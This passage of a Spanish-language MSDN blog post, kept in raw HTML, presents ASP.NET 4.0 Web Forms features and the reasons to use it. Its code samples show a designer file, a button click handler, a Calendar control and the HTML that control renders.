{</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">…</span>&#160;&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> </span><span style="color: gray">&lt;summary&gt; </span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> MyLabel control.</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> </span><span style="color: gray">&lt;/summary&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> </span><span style="color: gray">&lt;remarks&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> Auto-generated field.</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> To modify move field declaration from designer file to code-behind file.</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> </span><span style="color: gray">&lt;/remarks&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">protected</span> <span style="color: blue">global</span>::System.Web.UI.WebControls.<span style="color: #2b91af">Label</span> MyLabel;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> </span><span style="color: gray">&lt;summary&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> MyButton control.</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> </span><span style="color: gray">&lt;/summary&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> </span><span style="color: gray">&lt;remarks&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> Auto-generated field.</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> To modify move field declaration from designer file to code-behind file.</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: gray">///</span><span style="color: green"> </span><span style="color: gray">&lt;/remarks&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">protected</span> <span style="color: blue">global</span>::System.Web.UI.WebControls.<span style="color: #2b91af">Button</span> MyButton;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; </span><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="margin-bottom: 12pt"><span style="font-size: 12pt"><font face="Calibri">Web Forms es un modelo de programación cuya principal característica es el nivel de abstracción y encapsulamiento que proporciona, a la vez que es tremendamente versátil. Web Forms es una tecnología en la que Microsoft sigue invirtiendo fuertemente, y en ASP.NET 4.0 se introducen numerosas novedades y mejoras que corrigen muchas de las que históricamente han sido sus debilidades:</font></span></p>    <p class="MsoNormal" style="margin-bottom: 12pt"><span style="font-size: 12pt"><font face="Calibri"></font></span></p>    <p class="MsoNormal" style="margin-bottom: 12pt"><span style="font-size: 12pt"><font face="Calibri"></font></span></p>    <p class="MsoListParagraph" style="margin-left: 18pt; text-indent: -18pt"><font face="Calibri"><span style="font-size: 12pt; font-family: symbol">·<span style="font: 7pt &quot;Times New Roman&quot;">&#160;&#160;&#160;&#160;&#160;&#160; </span></span><i><span style="font-size: 12pt"><a href="https://weblogs.asp.net/scottgu/archive/2009/10/13/url-routing-with-asp-net-4-web-forms-vs-2010-and-net-4-0-series.aspx">Web Forms URL Routing</a></span></i><span style="font-size: 12pt">: Permite crear URLs optimizadas para motores de búsqueda (SEO).</span></font></p>    <p class="MsoListParagraph" style="margin-left: 18pt; text-indent: -18pt"><font face="Calibri"><span style="font-size: 12pt"></span></font></p>    <p class="MsoListParagraph" style="margin-left: 18pt; text-indent: -18pt"><font face="Calibri"><span style="font-size: 12pt; font-family: symbol">·<span style="font: 7pt &quot;Times New Roman&quot;">&#160;&#160;&#160;&#160;&#160;&#160; </span></span><i><span style="font-size: 12pt"><a href="https://weblogs.asp.net/scottgu/archive/2010/03/30/cleaner-html-markup-with-asp-net-4-web-forms-client-ids-vs-2010-and-net-4-0-series.aspx">HTML más predecible</a></span></i><span style="font-size: 12pt">: Los controles de servidor generan HTML más compatible con los estándares y más fácil integrar con JavaScript y CSS. </span></font></p>    <p class="MsoListParagraph" style="margin-left: 18pt; text-indent: -18pt"><font face="Calibri"><span style="font-size: 12pt"></span></font></p>    <p class="MsoListParagraph" style="margin-left: 18pt; text-indent: -18pt"><font face="Calibri"><span style="font-size: 12pt; font-family: symbol">·<span style="font: 7pt &quot;Times New Roman&quot;">&#160;&#160;&#160;&#160;&#160;&#160; </span></span><i><span lang="EN-US" style="font-size: 12pt"><a href="https://www.asp.net/web-forms/videos/net-4/performance/aspnet-4-quick-hit-selective-view-state"><span lang="ES">View State selectivo</span></a></span></i><span style="font-size: 12pt">: Permite habilitar y deshabilitar el view state granularmente a nivel de control de forma más flexible que en anteriores versiones de ASP.NET.</span></font></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal" style="margin-bottom: 12pt"><span style="font-size: 12pt"><font face="Calibri">Estos son algunos ejemplos, pero existe una lista completa de todas las novedades en </font><a href="https://www.asp.net/whitepapers/aspnet4"><font face="Calibri">https://www.asp.net/whitepapers/aspnet4</font></a><font face="Calibri">.</font></span></p>    <h2><font face="Calibri">Cinco razones por las que ASP.NET Web Forms puede ser la mejor opción para ti</font></h2>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">1 – Modelo de programación familiar basado en controles y eventos</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Quien esté familiarizado con el desarrollo de aplicaciones de escritorio, por ejemplo con .NET Windows Forms o Java Swing, le costará poco la transición al desarrollo con ASP.NET Web Forms. Web Forms preserva el paradigma de arrastrar controles sobre las páginas web de forma equivalente a como se arrastran los controles sobre una aplicación de Windows. Los controles de servidor de ASP.NET pueden ser elementos de interacción simples como el <i>botón</i> o la <i>caja de texto</i>, o controles mas complejos como el <i>calendario</i>, el <i>menú</i> o el control de <i>login</i> que encapsulan funcionalidad más compleja.</font> </span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><span style="mso-no-proof: yes"><a href="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/6840.clip_image001_75183F93.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/6840.clip_5F00_image001_5F00_75183F93.jpg"><img title="clip_image001" style="border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px" border="0" alt="clip_image001" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/2112.clip_image001_thumb_589DDE64.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/2112.clip_5F00_image001_5F00_thumb_5F00_589DDE64.jpg" width="836" height="597" v:shapes="_x0000_i1035" /></a></span><b><span style="font-size: 12pt"> </span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Los controles tienen propiedades asociadas que se pueden manipular declarativamente en el fichero *.aspx, programáticamente desde el fichero <i>code behind</i> o desde la propia interfaz gráfica de Visual Studio.</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="mso-no-proof: yes"><a href="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/3632.clip_image002_4827FE1A.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/3632.clip_5F00_image002_5F00_4827FE1A.jpg"><img title="clip_image002" style="border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px" border="0" alt="clip_image002" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/0435.clip_image002_thumb_705A372C.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/0435.clip_5F00_image002_5F00_thumb_5F00_705A372C.jpg" width="266" height="305" v:shapes="_x0000_i1034" /></a></span><span style="font-size: 12pt"> </span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Adicionalmente, las páginas Web Forms y sus controles de servidor lanzan una serie de eventos ante determinadas situaciones o interacciones del usuario, y una parte fundamental de las aplicaciones Web Forms radica precisamente en manejar y responder adecuadamente ante dichos eventos.</font> </span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">protected</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> <span style="color: blue">void</span> Button1_Click(<span style="color: blue">object</span> sender, <span style="color: #2b91af">EventArgs</span> e)</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">{</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; Response.Redirect(<span style="color: #a31515">&quot;/home.aspx&quot;</span>, <span style="color: blue">false</span>);</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; </span><span style="font-size: 10pt; font-family: consolas">Context.ApplicationInstance.CompleteRequest();</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">2 – Encapsulamiento de HTML, CSS y Javacscript.</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">ASP.NET Web Forms simplifica el desarrollo web encapsulando gran parte de la complejidad del protocolo HTTP y de los lenguajes HTML, JavaScript y CSS. En el desarrollo con Web Forms no es imprescindible (aunque sí conveniente) conocer en profundidad ninguna de estas tecnologías. En el protocolo HTTP por definición no existe el estado, y sin embargo las páginas ASP.NET Web Forms y sus controles mantienen el estado a lo largo de los post-backs. Uno de los mecanismos esenciales para conseguir este nivel de abstracción son precisamente los controles de servidor, que en gran medida abstraen al desarrollador del código HTML, CSS y JavaScript subyacente. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Añadir un control de tipo <i>calendar</i> a una página ASP.NET Web Forms únicamente requiere añadir la siguiente línea de código a la página *.aspx:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span style="font-size: 10pt; font-family: consolas; color: maroon">asp</span><span style="font-size: 10pt; font-family: consolas; color: blue">:</span><span style="font-size: 10pt; font-family: consolas; color: maroon">Calendar</span><span style="font-size: 10pt; font-family: consolas"> <span style="color: red">ID</span><span style="color: blue">=&quot;Calendar1&quot;</span> <span style="color: red">runat</span><span style="color: blue">=&quot;server&quot;&gt;&lt;/</span><span style="color: maroon">asp</span><span style="color: blue">:</span><span style="color: maroon">Calendar</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Sin embargo cuando la página se ejecuta el control de servidor genera un entramado relativamente complejo de código de cliente (HTML, Javascript y CSS) simplemente para “pintar” el calendario en la página. Al margen de esto, ASP.NET Web Forms proporciona la lógica necesaria en el servidor para que el control mantenga el estado a lo largo de varios post-backs, y todo esto de forma completamente transparente para el usuario.</font> </span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">table</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">id</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">Calendar1</span>&quot;<span style="color: blue"> </span><span style="color: red">cellspacing</span><span style="color: blue">=</span>&quot;<span style="color: blue">0</span>&quot;<span style="color: blue"> </span><span style="color: red">cellpadding</span><span style="color: blue">=</span>&quot;<span style="color: blue">2</span>&quot;<span style="color: blue"> </span><span style="color: red">title</span><span style="color: blue">=</span>&quot;<span style="color: blue">Calendar</span>&quot;<span style="color: blue"> </span><span style="color: red">style</span><span style="color: blue">=</span>&quot;<span style="color: blue">border-width:1px;border-style:solid;border-collapse:collapse;</span>&quot;<span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">tr</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">td</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">colspan</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">7</span>&quot;<span style="color: blue"> </span><span style="color: red">style</span><span style="color: blue">=</span>&quot;<span style="color: blue">background-color:Silver;</span>&quot;<span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">table</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">cellspacing</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">0</span>&quot;<span style="color: blue"> </span><span style="color: red">style</span><span style="color: blue">=</span>&quot;<span style="color: blue">width:100%;border-collapse:collapse;</span>&quot;<span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">tr</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">td</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">style</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">width:15%;</span>&quot;<span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">a</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">href</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">javascript:__doPostBack('Calendar1','V4383')</span>&quot;<span style="color: blue"> </span><span style="color: red">style</span><span style="color: blue">=</span>&quot;<span style="color: blue">color:Black</span>&quot;<span style="color: blue"> </span><span style="color: red">title</span><span style="color: blue">=</span>&quot;<span style="color: blue">Go to the previous month</span>&quot;<span style="color: blue">&gt;</span><span style="color: red">&amp;lt;</span><span style="color: blue">&lt;/</span><span style="color: #a31515">a</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;/</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">td</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">td</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">align</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">center</span>&quot;<span style="color: blue"> </span><span style="color: red">style</span><span style="color: blue">=</span>&quot;<span style="color: blue">width:70%;</span>&quot;<span style="color: blue">&gt;</span>febrero de 2012<span style="color: blue">&lt;/</span><span style="color: #a31515">td</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">td</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">align</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">right</span>&quot;<span style="color: blue"> </span><span style="color: red">style</span><span style="color: blue">=</span>&quot;<span style="color: blue">width:15%;</span>&quot;<span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">a</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">href</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">javascript:__doPostBack('Calendar1','V4443')</span>&quot;<span style="color: blue"> </span><span style="color: red">style</span><span style="color: blue">=</span>&quot;<span style="color: blue">color:Black</span>&quot;<span style="color: blue"> </span><span style="color: red">title</span><span style="color: blue">=</span>&quot;<span style="color: blue">Go to the next month</span>&quot;<span style="color: blue">&gt;</span><span style="color: red">&amp;gt;</span><span style="color: blue">&lt;/</span><span style="color: #a31515">a</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;/</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">td</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;/</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">tr</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160;&#160;&#160; &lt;/</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">table</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160; &lt;/</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">td</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160; &lt;/</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">tr</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">tr</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">th</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">align</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">center</span>&quot;<span style="color: blue"> </span><span style="color: red">abbr</span><span style="color: blue">=</span>&quot;<span style="color: blue">lunes</span>&quot;<span style="color: blue"> </span><span style="color: red">scope</span><span style="color: blue">=</span>&quot;<span style="color: blue">col</span>&quot;<span style="color: blue">&gt;</span>lun<span style="color: blue">&lt;/</span><span style="color: #a31515">th</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">th</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">align</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">center</span>&quot;<span style="color: blue"> </span><span style="color: red">abbr</span><span style="color: blue">=</span>&quot;<span style="color: blue">martes</span>&quot;<span style="color: blue"> </span><span style="color: red">scope</span><span style="color: blue">=</span>&quot;<span style="color: blue">col</span>&quot;<span style="color: blue">&gt;</span>mar<span style="color: blue">&lt;/</span><span style="color: #a31515">th</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">th</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">align</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">center</span>&quot;<span style="color: blue"> </span><span style="color: red">abbr</span><span style="color: blue">=</span>&quot;<span style="color: blue">miércoles</span>&quot;<span style="color: blue"> </span><span style="color: red">scope</span><span style="color: blue">=</span>&quot;<span style="color: blue">col</span>&quot;<span style="color: blue">&gt;</span>mié<span style="color: blue">&lt;/</span><span style="color: #a31515">th</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">th</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">align</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">center</span>&quot;<span style="color: blue"> </span><span style="color: red">abbr</span><span style="color: blue">=</span>&quot;<span style="color: blue">jueves</span>&quot;<span style="color: blue"> </span><span style="color: red">scope</span><span style="color: blue">=</span>&quot;<span style="color: blue">col</span>&quot;<span style="color: blue">&gt;</span>jue<span style="color: blue">&lt;/</span><span style="color: #a31515">th</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">th</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">align</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" 